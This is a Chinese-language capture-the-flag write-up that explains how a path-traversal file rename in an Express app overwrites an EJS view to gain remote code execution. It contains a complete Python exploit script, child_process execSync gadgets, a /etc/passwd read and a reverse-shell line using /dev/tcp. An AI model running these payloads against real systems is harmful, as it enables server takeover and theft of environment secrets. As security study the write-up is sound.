简单ejs模板注入,对象分析
源码:
const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');
const app = express();
const port = 3000;
app.set('view engine', 'ejs');
app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());
const storage = multer.diskStorage({
destination: (req, file, cb) => {
const uploadDir = 'uploads';
if (!fs.existsSync(uploadDir)) {
fs.mkdirSync(uploadDir);
}
cb(null, uploadDir);
},
filename: (req, file, cb) => {
cb(null, file.originalname);
}
});
const upload = multer({
storage: storage,
fileFilter: (_, file, cb) => {
try {
if (!file.originalname) {
return cb(new Error('无效的文件名'), false);
}
cb(null, true);
} catch (err) {
cb(new Error('文件处理错误'), false);
}
}
});
app.get('/', (req, res) => {
const uploadsDir = path.join(__dirname, 'uploads');
if (!fs.existsSync(uploadsDir)) {
fs.mkdirSync(uploadsDir);
}
fs.readdir(uploadsDir, (err, files) => {
if (err) {
return res.status(500).render('mortis', { files: [] });
}
res.render('mortis', { files: files });
});
});
app.post('/upload', (req, res) => {
upload.single('file')(req, res, (err) => {
if (err) {
return res.status(400).json({ error: err.message });
}
if (!req.file) {
return res.status(400).json({ error: '没有选择文件' });
}
res.json({
message: '文件上传成功',
filename: req.file.filename
});
});
});
app.post('/rename', (req, res) => {
const { oldName, newName } = req.body;
const oldPath = path.join(__dirname, 'uploads', oldName);
const newPath = path.join(__dirname, 'uploads', newName);
if (!oldName || !newName) {
return res.status(400).json({ error: '请提供旧文件名和新文件名' });
}
fs.rename(oldPath, newPath, (err) => {
if (err) {
return res.status(500).json({ error: '重命名失败: ' + err.message });
}
res.json({ message: '文件重命名成功' });
});
});
app.listen(port, () => {
console.log(`服务器运行在 http://localhost:${port}`);
});
分析:
可知是有4个路由,分别负责主页面,上传,改名,文件显示
app.use('/static', express.static(path.join(__dirname, 'public')));
可知在app/public
下的文件可以从/static
路由访问
有文件上传喝改名,考虑跨路径移动,实际确实可以移动到public
下然后读取,但是不知道flag
的路径
换个思路开始本次的主题
app.set('view engine', 'ejs');
res.render('mortis', { files: files });
导入了模板,可以猜测其路径在app/views
下
先尝试把../views/mortis.ejs
改到../public/mortis.ejs
然后访问可以看到确实存在
所以可以通过上传mortis.ejs
去替换掉原来的模板实现注入
目标:
1.require
直接导入关键的child_process
模块来使用.execSync
来执行命令:
require('child_process').execSync('ls')
2.process
通过mainModule
来间接访问到require
,后面同理:
process.mainModule.require('child_process').execSync('ls')
3.module
和module.constructor
也一样:
module.constructor.prototype.require('child_process').execSync('ls')
4.Object.constructor
指向 Function
构造器,可以构造一个新函数:
{}.constructor.constructor('return process')().mainModule.require('child_process').execSync('ls')
模块除了child_process
还有 fs
负责文件
文件读取require('fs').readFileSync('/etc/passwd').toString()
文件写入require('fs').writeFileSync('/tmp/malicious.sh', 'bash -i >& /dev/tcp/XXXX/4444 0>&1')
然后就是列出对象
Object.getOwnPropertyNames(this)
可以列出上下文所有对象,包括那些隐藏起来的
这题我就是直接this
列出没有找到process
之类的对象就以为没有导致卡了很久,唉
<%
const keys = Object.getOwnPropertyNames(this);
for (let key of keys) {
%> <p><strong><%= key %>:</strong> <%= typeof this[key] %></p> <%
}
%>
所以得到下面的Payload
import requests
TARGET = "http://XXXXX:32384"
MALICIOUS_TEMPLATE = """
<%
const keys = Object.getOwnPropertyNames(this);
for (let key of keys) {
%> <p><strong><%= key %>:</strong> <%= typeof this[key] %></p> <%
}
%>
<p>process keys:</p>
<%
if (typeof process !== 'undefined') {
for (let key in process) {
%> <p><%= key %>: <%= typeof process[key] %></p> <%
}
}
%>
<p>process.mainModule keys:</p>
<%
if (typeof process.mainModule !== 'undefined') {
for (let key in process.mainModule) {
%> <p><%= key %>: <%= typeof process.mainModule[key] %></p> <%
}
}
%>
<%- process.mainModule.require("child_process").execSync("env").toString() %>
"""
# 1. 生成模板文件
with open("mortis.ejs", "w") as f:
f.write(MALICIOUS_TEMPLATE)
# 2. 上传文件
file = {"file": open("mortis.ejs", "rb")}
upload_resp = requests.post(f"{TARGET}/upload", files=file)
print("Upload Response:", upload_resp.text)
# 3. 重命名覆盖原始模板
rename_data = {
"oldName": "mortis.ejs",
"newName": "../views/mortis.ejs",
}
rename_resp = requests.post(f"{TARGET}/rename", json=rename_data)
print("Rename Response:", rename_resp.text)
exploit_resp = requests.get(TARGET)
print("Exploit Response:", exploit_resp.text)
另记:
还有一种rce
的话是通过控制 res.render()
中的第二个参数
见:
其實有關於 EJS,曾經考過的類型有兩種,第一種是像上面那樣你可以控制 render 中的第二個參數,第二種是你不能控制,但是有 prototype pollution 的漏洞。
第一種的話是 EJS 對於參數的處理其實我自己覺得有點問題,你可能以為只是傳入 data,但其實它 option 跟 data 是混在一起傳的,所以可以去更改 options,控制一些執行流程達成 RCE。
第二種的話主要是經由 prototype pollution 去污染
outputFunctionName
,然後靠著 EJS 底層會用outputFunctionName
去拼接 JS 程式碼達成 RCE。
Comments NOTHING